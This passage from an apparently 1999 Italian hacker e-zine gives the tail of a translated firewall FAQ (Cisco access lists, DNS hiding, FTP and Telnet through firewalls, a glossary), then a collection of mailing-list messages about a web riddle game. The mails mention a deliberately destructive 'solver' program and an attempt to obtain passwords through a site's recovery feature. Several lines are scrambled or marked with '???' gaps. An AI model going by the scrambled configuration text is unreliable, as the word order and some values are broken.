access-list 11 deny
tcp 128.88.0.0 0.0.255.255
0.0.0.0 255.255.255.255 eq 25
access-list 11 permit tcp 128.88.0.0 0.0.255.255
0.0.0.0 255.255.255.255
Spiegazione
===========
Benchè non sia una regola di filtraggio, è buona cosa includerla
qui.
5
Ethernet 0 è nella rete rossa. La lista di accessi estesa 10 sarà
applicata all'output su questa interfaccia. Puoi anche pensare l'
output dalla rete rossa come input nella rete blu.
9
Ethernet 1 è nella rete blu. La lista di accessi estesa 11 sarà
applicata all'output su questa interfaccia.
11
12-14
Permette tutto il traffico dalla macchina gateway alla rete blu.
Permette connessioni originarie della rete rossa che entrano tra le
porte 1024 e 5000. Ciò avviene per permettere alle connessioni dati
in ftp di ritornare (???) alla rete blu. 5000 è stato scelto come
limite superiore ed è dove OpenView parte.
Nota: ancora, si assume che
di condotta. Non c'è nessun
porta sorgente. Le versioni
supporteranno il filtraggio
questo è accettabile per la supposta linea
modo per dire a Cisco di filtrare sulla
più recenti del firmware Cisco
sulla porta sorgente.
Poichè le regole sono testate finchè la prima ??? dobbiamo usare
questa sintassi piuttosto ottusa.
16
Permette l'accesso a tutti i pacchetti della rete blu alla macchina
gateway.
17
Nega l'SMTP (porta tcp 25) mail alla rete rossa.
18
Permette a tutto l'altro traffico TCP di accedere alla rete rossa.
Cisco.com ha un archivio di esempi per costruire firewall usando i router
Cisco, disponibile per ftp da: ftp.cisco.com in /pub/acl-examples.tar.Z
(ndT: forse non è più qui)
9) Come far lavorare DNS e firewall
Alcune organizzazioni vogliono nascondere i nomi DNS dall'esterno. Molti
esperti sono in disaccordo sul fatto che sia o meno utile, ma se il sito o
l'azienda decide di nascondere i nomi dei domini, questo è un approccio che
è funzionale.
Questo approccio è uno dei tanti, ed è utile per le organizzazioni che
vogliono celare i loro nomi di host a Internet. Il successo di questo
approccio nasconde dal fatto che i client DNS in una macchina non
comunicano con un server DNS nella stessa macchina. In altre parole, proprio
perchè c'è un server DNS su una macchina, non c'è niente di sbagliato (e
spesso ci sono vantaggi a farlo) nel ridirezionare l'attività di client DNS
di quella macchina su un server DNS in una altra macchina.
Per prima cosa, devi settare un server DNS nel bastion host
in modo che il mondo esterno può comunicare con questo. Setta
questo server così che sia una autorità per i tuoi domini. Infatti, ognuno
di questi server sa ciò che vuoi che il mondo esterno sappia; i nomi e gli
indirizzi dei tuoi gateway, i tuoi record ????, e così via. Questo è un
server "pubblico".
Quindi, configura un server DNS in una macchina interna. Questo server
pretende anch'esso di essere un'autorità per i tuoi domini; diversamente
dal server pubblico, questo sta dicendo la verità. Questo è il tuo
nameserver "normale", nel quale metter tutto le cose "normali" che
riguardano il DNS. Devi configurare anche questo server in modo che
trasferisca le domande a cui non può rispondere al server pubblico (usando
una linea che faccia da "spedizioniere" in /etc/named.boot in una macchina
Unix, per esempio).
Infine, configura tutti i tuoi client DNS (il file /etc/resolv.conf in una
Unix box, per esempio), includendoli in una macchina con il server
pubblico, per usare il server interno. Questa è la chiave.
Un client interno che interroga un host interno, interroga il server
interno, e ottiene una risposta; un client interno che interroga un host
esterno interroga il server interno, che interroga il server pubblico. Un
client nel server pubblico lavora proprio nello stesso modo. Un client
esterno, comunque, che interroga un host interno ottiene come risposta
"restricted" (cioè limitato) dal server pubblico.
Questo approccio presuppone che ci sia un filtraggio dei pacchetti da parte
del firewall tra questi due server che permetterà a loro di comunicare il
DNS a ogni altro, ma altrimenti limita il DNS tra gli altri host.
Un altro trucco che è utile in questo schema è impiegare ???
??????????? per ciascuno dei tuoi host non pubblici e restituire qualcosa
come "unknown.YOUR.DOMAIN" (cioè sconosciuto.TUO.DOMINIO) piuttosto che un
errore. Questo soddisfa siti con ftp anonimo come ftp.uu.net che insiste
nell'avere un nome per le macchine con cui comunica. Questo fallisce quando
comunica con siti che fanno un controllo incrociato del DNS nel quale il
nome dell'host è verificato a fronte del suo indirizzo e viceversa.
Nota che nascondere i nomi nei DNS non risolve il problema dei nomi di host
fuoriusciti con gli headers delle mail, articoli di news, etc.
10) Come far lavorare un FTP attraverso un firewall
Di solito, il far lavorare l'FTP attraverso il firewall è realizzato o
usando un server proxy o permettendo connessioni in entrata in una rete su
un ristretto range di porte, e altrimenti restringendo le connessioni in
entrata usando qualcosa come regole di monitoraggio stabilite. Il client
FTP è allora modificato per congiunhgere la porta dei dati alla porta
all'nterno del range. Questo implica il fatto di essere capaci di
modificare l'applicazione che fa da client FTP sugli host interni.
Un approccio differente è usare l'opzione FTP "PASV" per indicare che il
server FTP remoto dovrebbe permettere al client di iniziare la connessione.
L'approccio con PASV assume che il server FTP sul sistema remoto supporti
tale operazione. (Vedi l'RFC1579 per ulteriori informazioni).
Altri siti preferiscono costruire versioni di client del programma di FTP
che sono linkate sulla libreria SOCKS.
11) Come far lavorare un Telnet attraverso un firewall
Telnet è generalmente supportato o per usare una applicazione che fa da
proxy, o semplicemente per configurare un router per permetter connessioni
in uscita usando qualcosa come regole di monitoraggio stabilite. Le
applicazioni proxy potrebbero essere nella forma di un proxy standalone che
gira su un bastion host, o nella forma di un server SOCKS e un
client modificato.
12) Come far lavorare Finger e whois attraverso un firewall
Permettere connessioni alla porta finger dalle sole macchine fidate, che
possono emettere richieste di finger nella forma di:
finger [email protected]@firewall .
Questo approccio funziona solo con le versioni standard del finger di Unix.
Qualche server finger non permette la connessione finger su user@host@host.
Molti siti bloccano le richieste finger dirette verso l'interno per una
varietà di ragioni, di cui la più importante è la presenza di buchi nella
sicurezza del server finger (il worm Morris ha reso questi bug famosi) e il
rischio che informazioni riservate o proprietarie siano rivelate nelle
informazioni finger dell'utente.
13) Come far lavorare gopher, archie e altri servizi attraverso un firewall
Questa è ancora un'area di ricerca attiva nella comunità dei firewall.
Molti amministratori di firewall supportano questi servizi attraverso
??????? interfaccia fornita da telnet. Sfortunatamente, molte dei servizi
di rete più provocanti (???) fanno connessioni a sistemi remoti multipli,
senza trasmettere nessuna informazione di cui un proxy potrebbe prenderne
vantaggio, e spesso i più nuovi sistemi di recupero delle informazioni
trasmettono dati agli host e dischi locali con la sola sicurezza minima. C'
è il rischio che (per esempio) i client WAIS possano richiedere file
codificati in uuencod, che decifrano e modificano i file relativi alla
sicurezza nella directory home dell'utente. Al momento, c'è molta
incertezza tra gli amministratori di firewall che sono responsabili della
sorveglianza dei perimetri della rete, e gli utenti, che vogliono
avvantaggiarsi di questi davvero attraenti e utili strumenti.
14) Pubblicazioni su X-Window attraverso un firewall
X Windows è un sistema davvero utile, ma sfortunatamente ha qualche grande
difetto di sicurezza. I sistemi remoti che possono guadagnare o spufare
l'accesso a una workstation con X possono monitorare la pressione dei tasti
degli utenti, scaricare copie dei contenuti delle loro finestre, etc.
Mentre tentativi sono stati fatti per superarli (ad es., MIT "Magic
Cookie") è ancora troppo facile per un aggressore interferire con un utente
di X. Molti firewall bloccano tutto il traffico di X. Qualcuno permette il
traffico di X attraverso applicazioni proxy come il proxy DEC CRL X (FTP
crl.dec.com).
------------------------------15) Glossario di termini riferiti ai firewall
- Firewall basato su un host:
in un software che gira in un
sicurezza nei firewall basati
applicazione piuttosto che al
un firewall dove la sicurezza è implementata
computer non dedicato di qualunque tipo. La
su un host è generalmente al livello di
livello della rete.
- Firewall basato su un router: un router che è usato per implementare
parte della sicurezza di un firewall configurandolo per permettere
selettivamente o per negare il traffico a livello della rete.
- Bastion host (host sche si affaccia all'esterno): un sistema host che è
un punto forte nel perimetro della sicurezza del sistema. I bastion host
dovrebbero essere configurati per essere particolarmente resistenti agli
attacchi. In un firewall basato su host, il bastion host è la piattaforma
nella quale il software firewall gira. I bastion host sono anche chiamati
gateway host.
- Dual-Homed Gateway: un firewall di un bastion host con 2 interfaccie di
rete, una delle quali è connessa per proteggere la rete, l'altra è connessa
a Internet. L'inoltro del traffico IP è di solito disabilitato, limitando
tutto il traffico tra le due reti a qualunque cosa passi attraverso qualche
tipo di applicazione proxy.
- Applicazione proxy: una applicazione che instrada il traffico delle
applicazioni attraverso un firewall. I proxy tendono a essere specifici per
il protocollo per cui sono progettati per inoltrare, e possono provvedere un
aumentato controllo di accesso o verifica.
- Subnet monitorata: un firewall nel quale una rete "sand box" o "zona
smilitarizzata" è configurata tra la rete protetta e Internet, con traffico
bloccato tra la rete protetta e Internet. Concettualmente, è simile a un
dual-homed gateway, eccetto che una intera rete, piuttosto che un singolo
host è raggiungibile dall'esterno.
_#_
-------------------------------------Raccolta di mail riguardanti il Riddle
-------------------------------------by [mAx]
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: L'eterna lotta tra il bene e il male ...
DATA: venerdì 18 giugno 1999 22.51
La Profezia di Parsifal..
una eco lontana ti porta una voce .. il circolo della vita e' la tua
prossima sfida.
Il premio ? .. come sempre quello che chiedi e' poco se risulterai
vincitore.
Apri la tua mente, le tue abilita' serviranno al raggiungimento dello scopo.
Tutto serve, tutto ti e' d'aiuto .. le vie che addivengono alla luce sono
molteplici e stavolta non un solo cammino ti porta alla meta... sia
l'erudito che l'artigiano, sia il cerusico che il giullare potranno essere
incoronati ..ma attento .. stavolta.. ci sono trappole in agguato e la
punizione non e' lieve per chi mette i piedi in fallo.
Non compiere passi avventati .. ragiona. E a tutti .. buona sorte
nell'impresa.
... non dovrai attendere ancora a lungo.
-----------------------------------------------------Così il gioco ha avuto inizio. L'attesa non è stata di certo lunga; senz'altro
lo è sembrata a chi già aveva tentato il gran colpo con il riddle precedente e
non vedeva l'ora di potersi rifare.
------------------------------------------------------
DA: Parsifal <[email protected]>
OGGETTO: THE RIDDLE
DATA: 1999/06/20
.. hai dovuto aspettare veramente poco! :))
Sito spippolatori sezione Riddle
alternativa...
www.master-hacker.org
www.internations.net/it/sppriddle
ovviamente
.. e mirror collegati. In
Pero' sul nostro sito c'è anche il RISOLUTORE .. (del quale si può benissimo
fare anche a meno) ma e' meglio leggere MOLTO ACCURATAMENTE le info sulla pagina
dedicata se si decide di usarlo.
.. e' una promozione campagna reclutamento degli spp.
Il primo ha dato buoni frutti .. ora si replica. hi hi hi
.. un grazie speciale a Rigor che sta lavorando al sito comune e ai cd SPP
praticamente tutti i giorni.
-----------------------------------------------------Come in una grande avventura fantasy in cui i giocatori siamo noi e il master è
quello con la M maiuscola abbiamo incominciato a giocare. Ognuno con la sua
strategia, chi ha cercato la soluzione con i propri mezzi e chi l'ha cercata con
il lavoro di squadra, ci siamo messi al lavoro con tutte le nostre energie e con
tutto il nostro tempo. L'unica cosa in comune tra i partecipanti è stata
l'attesa di una nuova parola dal Grande Manovratore. E queste non si sono certo
fatte aspettare.
Una tecnica che ha ricevuto subito molto consenso è stata quella di fare le
prove con il "pericoloso" risolutore su dei PC sacrificabili ma il messaggio che
segue ha subito fatto capire quanto questo possa essere poco fruttuoso.
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: Re: R: L'eterna lotta tra il bene e il male ...
DATA: lunedì 21 giugno 1999 11.19
>si lancia il risolutore, si scrive un programmino in vb con sendkeys e
>gli si fa provare di tutto (*1) l'unico problema e' che manca il tasto
>di conferma del codice, quindi credo che l'unica sia proprio sparare
>tasti a caso e guardare il risultato.
i codici non sono pero' di un paio di caratteri.. :))
e oltretutto dall'inserimento del codice alla visione del risultato (questo
non c'e' scritto) passa un delay di qualche secondo... e oltretutto se
dall'inserimento di un codice all'inserimento di un altro non passa almeno
un altro delay prefissato i codici successivi non hanno effetto alcuno.
Es.. fai un codice che non produce nulla.. di seguito a distanza breve provi
tutti gli altri codici con un SendMessage .. non accade nulla.. non
sputtani la macchina se becchi un codice nefasto ne pero' ti da la soluzione
quando arrivi sul codice magico... semplicemente se non vengono immessi i
numeri con un certo ritardo il programma non funziona .. l'ho fatto apposta.
:))
Tieni conto che mettendo un delay di poco piu' di 5 secondi a codice per
provare solamente i codici di 6 numeri ci vorrebbe poco meno di due mesi di
elaborazione in continuo. :))
-----------------------------------------------------Così sono state mandate in frantumi le speranze di alcuni valorosi.
Quando in molti ormai cercavano di capire cosa cercare è arrivata una chiara
(relativamente al contesto ;)) spiegazione:
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: A COSA PORTA L'INDOVINELLO
DATA: lunedì 21 giugno 1999 16.56
Il risultato del ridde e' il primo mattone di un piccolissimo mosaico composto
da tre elementi (numeri o parole) diversi e sette oggetti magici.
L'insieme dei tre elementi presentati nella giusta forma ad una certa data ed in
un certo ordine sequenziale fa accumulare i sette oggetti magici la somma dei
quali e' la soluzione dell'intero dilemma.
La ricerca e la localizzazione di un elemento e' indispensabile per ottenere il
successivo. E gli oggetti non vanno cercati .. vengono donati alla presentazione
di ogni elemento ma solo se quest'ultima viene posta nella giusta forma.
2 oggetti per il primo elemento , 2 per il secondo e tre per l'ultimo.
E come avevo già annunciato questa volta il riddle non e' cosi' difficile come
il primo .. infatti 2 persone che non cito hanno già trovato il primo elemento
.. uno lo ha dedotto dal riddle (ma non mi aspettavo di meno!) e l'altro ha
crackato nella maniera giusta il Risolutore (molto bravo anche questo .. ma gli
manca ancora un "pelino").
.. la strada pero' e' ancora lunga .. ;-)
-----------------------------------------------------Se si dovesse scegliere una persona da ringraziare, una persona di vitale
importanza per tutta la comunità di risolutori, quella persona sarebbe HACKMORE.
Senza la sua abilità di risolutore saremmo, forse, tutti ancora qui a chiederci
da che parte si comincia.
-----------------------------------------------------DA: HACKMORE <[email protected]>
OGGETTO: Anche questo è interessante
DATE: 1999/06/24
stavo provando a vedere se erano state messe delle pagine nascoste su
www.internations.net/it/sppriddle e casualmente ho avuto fortuna. provate
andare su www.internations.net/it/28071999.html
a
28 07 1999 è la data dell'ultima eclissi di luna di questo millennio di cui
parlano gli spippolatori.
Sicuramente è utile anche se non so a che cosa ancora. :-)
Ed è molto probabile che ce ne siano altre.
I riferimenti numerici e le cose nascoste che ho trovato ad una prima lettura
sono tanti da far venire il mal di testa.
-----------------------------------------------------Il giorno seguente HACKMORE annuncia l'esistenza di una pagina sul web in cui
spiega come risolvere la prima parte del riddle.
-----------------------------------------------------DA: HACKMORE <[email protected]>
OGGETTO: RIDDLE sviluppi precedenti
DATA: 1999/06/25
Ho messo sul web una pagina con i risultati a cui sono giunto:
www.citeweb.net/HACMORE
non c'è la K non è un errore!
se qualcuno ha dei suggerimenti o vuole scambiare qualche notizia a proposito in
fondo trova anche un indirizzo al quale scrivermi.
Bello questo ng. Non lo conoscevo ma credo che da ora in poi lo frequenterò.
Quelli americani sono diventati così noiosi. :-)
-----------------------------------------------------Ma questo era solo il principio :))
Se la pagina iniziale del riddle è piena di riferimenti numerici le pagine
seguenti non sono certo da meno. Ho detto pagine perché il riddle si articola su
diverse pagine in ognuna delle quali si trovano indizi per la successiva
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: AGGIORNAMENTO RIDDLE..
DATA: sabato 26 giugno 1999 14.57
Prima cosa:
L'altra volta avevo dato la pagina sbagliata di Hackmore! Scusate..
Come ha detto lui sul NG la pagina giusta e' www.citeweb.net/HACMORE
Dalla pagina trovata da Hackmore e dalle deduzioni
oggetti da portare dietro.
vostre si hanno già i due
L'insieme dei due oggetti più la forza (da trovare) vi da ovviamente una nuova
pagina htm dove trovate il seguito del riddle e il secondo elemento con i nuovi
oggetti. Proseguire sarà più facile, il primo elemento era lo scoglio più
grosso!
Voglio darvi un ulteriore aiuto .. la nuova pagina da trovare sta sempre su
internations (come tutto il resto del riddle) e il suo nome e' formato da soli
numeri + .htm
Per capire cos'e' la forza dipendentemente dal disegno dovreste chiedere a
FRITZ! .. se Fritz ha buona memoria dovrebbe ricordarsi di una cosa che gli
avevo detto su alt.irc.corruption.log.log.log a proposito!
(penso che anche Nebbia dovrebbe ricordarselo!)
Cmq l'idea dei codici ascii e' azzeccata! :))
-----------------------------------------------------Sulla mailing-list di "Newbies" continuano i messaggi di Master-Parsifal in
risposta alla miriade di domande dei tanti che cercano la soluzione. Ovviamente
queste risposte non costituiscono un grande aiuto, al massimo danno la conferma
a chi cerca di essere o non essere sulla buona strada.
Ecco alcuni buoni consigli:
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: RIDDLE
DATA: lunedì 28 giugno 1999 23.42
Come avevo già detto sul sito internations oltre al riddle ci sono anche
delle pagine di aiuto che fanno riferimento a date, nomi dei personaggi,
eventi, oggetti, somma dei nomi di oggetti e personaggi, ecc..
Da provare anche queste volendo. ;-)
Se trovate una cosa che vi pare interessante .. provate anche se c'è una
pagina html a seguito.
Il fatto che ci sia una pagina pero' non vuol dire che la cosa trovata sia
indispensabile .. come il fatto che non ci sia la pagina non vuol dire che
la cosa pensata sia inutile.
-----------------------------------------------------Per la pagina della dea:
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: Messaggio nubianico:
DATA: lunedì 28 giugno 1999 13.04
Che il nome -corretto- del re fanciullo .. e una famosa cioccolata in
barattolo vi siano d'aiuto! ;-)
Le sorprese non finiscono mai !!
Infatti Master stupisce tutti i partecipanti illustrando la tecnica della
soluzione personalizzata:
DA: Master <[email protected]>
OGGETTO: Re: coincidenza ?
DATA: mercoledì 30 giugno 1999 0.43
> http://www.internations.net/it/sppriddle/111666127001137.htm
> Mamma mia ! Siamo all'ultima pagina, la soluzione è vicina =)))
> Wolf che questa è tosta davvero =))
:))) .. complimenti.
Tenete conto di una cosa visto che vi state avvicinando.. la soluzione e'
personalizzata! ..
Cioè significa che i risolutori dovranno mandare la soluzione al più'
presto con tutto il corredo di elementi che e' stato richiesto non appena la
trovano .. ma.. he he .. c'è un mah .. come nello sport il campione non
può vincere ottenendo il risultato degli altri .. deve fare qualcosina i
più .. per il riddle vale lo stesso discorso.
Chi arriva per primo alla soluzione leggendo la pagina finale sposta avanti
la medesima di un passo per gli altri.
Tornando successivamente sulla stessa pagina gli altri non troveranno più
il 'bravo ci sei riuscito' .. ma
"un risolutore e' gia' arrivato qui .. a te spetta un altro passettino.. e
il passettino da fare un più" .. ecc.. e cosi via.
in maniera tale che si potrà arrivare quasi in fondo con il lavoro di
gruppo ma la soluzione finale ognuno dovrà per forza di cose trovarsela in
proprio. ;-)
-----------------------------------------------------Qualcuno forse non ha ancora capito cosa significa ma lo capiranno tutti molto
presto. :))
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: Re: DANNAZIONE
DATA: mercoledì 30 giugno 1999 14.57
>http://www.internations.net/it/sppriddle/graalconoscenzaspp.htm
>MERD!
Capito cosa vuol dire personalizzata? :))
Chi risolve per primo vince il premio .. gli altri saranno obbligati ad un
ulteriore passettino per avere lo stesso premio.
-----------------------------------------------------Le pagine da risolvere quindi continuano ad aumentare insieme al numero di
risolutori.
Roba da matti! E qualcuno non ci è stato e ha deciso di seguire una via
alternativa. Ecco come è andata a finire:
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: ha ha ha
DATA: mercoledì 30 giugno 1999 15.04
..Internations quando uno di voi prova a farsi mandare le password tramite
getlostpassword non solo non ve le manda
ma mi avverte .. e ma mi manda pure l'IP dal quale le avete richieste! ha ha
ha :))))
( sono un po' stronzoli in effetti! .. giusto per il riddle altrimenti non
ci avrei aperto nemmeno un chiosco di bibite. )
-----------------------------------------------------Tra un messaggio e l'altro Master si lascia sfuggire questa considerazione
personale che riporto in qualità di diretto interessato :-))
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: Re: complimenti
DATA: mercoledì 30 giugno 1999 16.54
>
>
>
>
>
>
>
>
sentite... checche ne dica master (che
pero' penso sara' d'accordo con me) devo
dire che sono proprio contento di noi ;)
abbiamo comunque risolto *gran parte*
dell'indovinello, bene e in fretta,
collaborando molto bene e aiutandoci
un sacco... insomma, direi che stiamo
proprio crescendo bene :)
Si.. era proprio quello che pensavo anch'io. ;-)
Purtroppo mi sono accorto che alla soluzione arrivano sempre prima i
solitari un po' paranoici e misantropi come nel caso del riddle precedente
(non 'soltanto' .. solo 'prima'!) ma nessuno mi leva dalla testa che la
collaborazione sia in generale molto piu' prolifica e proficua (qui te l'ho
corretta io ;) n.d.a.) rispetto al voler primeggiare a tutti i costi.
-----------------------------------------------------Paranoico e misantropo...... li prenderò come dei complimenti ;)
Tornando al riddle, ecco un paio di aiutini sulla nuova pagina da risolvere:
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: ?
DATA: giovedì 1 luglio 1999 16.59
Dalla nebbie si scorge una luce, Avalon e un nome su tutti.
Da lui impara e ascolta ma non cercare di capire il senso, osserva.
DA: Master <[email protected]>
OGGETTO: Doanico
DATA: venerdì 2 luglio 1999 23.39
Semplice... semplice ... restate sul semplice!
Aethant io l'avevo lasciata cosi' come' solo per dare la possibilità a tutti di
avere almeno una parola da cercare su altavista trovando poi qualche riferimento
.. ma cosi' come' non e' detto che sia anche come dovrebbe essere! :))
Qual è la soluzione di x^2=0
solo x=0 ???
no ovviamente.
-----------------------------------------------------Questa ultima pagina l'ha risolta Ramesse. Insieme a questo ultimo aiuto Master
ha pubblicato anche un messaggio in cui annuncia che i due risolutori per il
momento eravamo io e Ramesse.
Siccome per ogni risolutore nasce una nuova pagina ecco che iniziano ad arrivare
anche i consigli su come interpretare quest'ultima pagine che sembra pure più
difficile delle precedenti.
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: ai-UT-in
DATA: sabato 3 luglio 1999 21.28
investigar s'impone.
Sherlok cantami una canzone:
.. "fa martino campanaro .. dormi tu .. dormi tu"
Ma che amore si lontano quel del prode
per BRUUMMM BRUMMM e BRUMM BRUMMM
"Italiani ... popolo di santi , navigatori ed eroi"
troppe terrazze! decisamente troppe.
Il merlo segna la strada, il bove la anticipa.
Il tutto porta alla meta.
-----------------------------------------------------Con questo messaggio Master ha proposto un riddle nel riddle che se risolto
porta alla soluzione della difficile pagina del giuramento dei templari.
Nel messaggio che segue è spiegato come usare gli indizi per risolvere la
pagina:
-----------------------------------------------------DA: Master <[email protected]>
OGGETTO: Re: facciamo il punto
DATA: mercoledì 7 luglio 1999 13.27
> ehm... io non ho ben capito una cosa (solo una ? =D), ovvero la soluzione
> della pagina è:
> testopagina .AND. giuramentotemplare .AND. ai-UT-in .AND. file.mid
oppure
> testopagina .OR. giuramentotemplare .OR. ai-UT-in .OR. file.mid ?
> Wolf che belli gli operatori logici !! =))
aiutone! .. :))
la soluzione sono due cose da unire (ma c'è scritto anche sulla pagina ut(
una cosa e il nome di una persona.
Per trovare la cosa bisogna risolvere il giuramento per trovare anche la
persona (o meglio un riferimento che darà indicazioni sulla persona)
bisogna necessariamente decodificare il file mid.
-----------------------------------------------------TO BE CONTINUED.....
_#_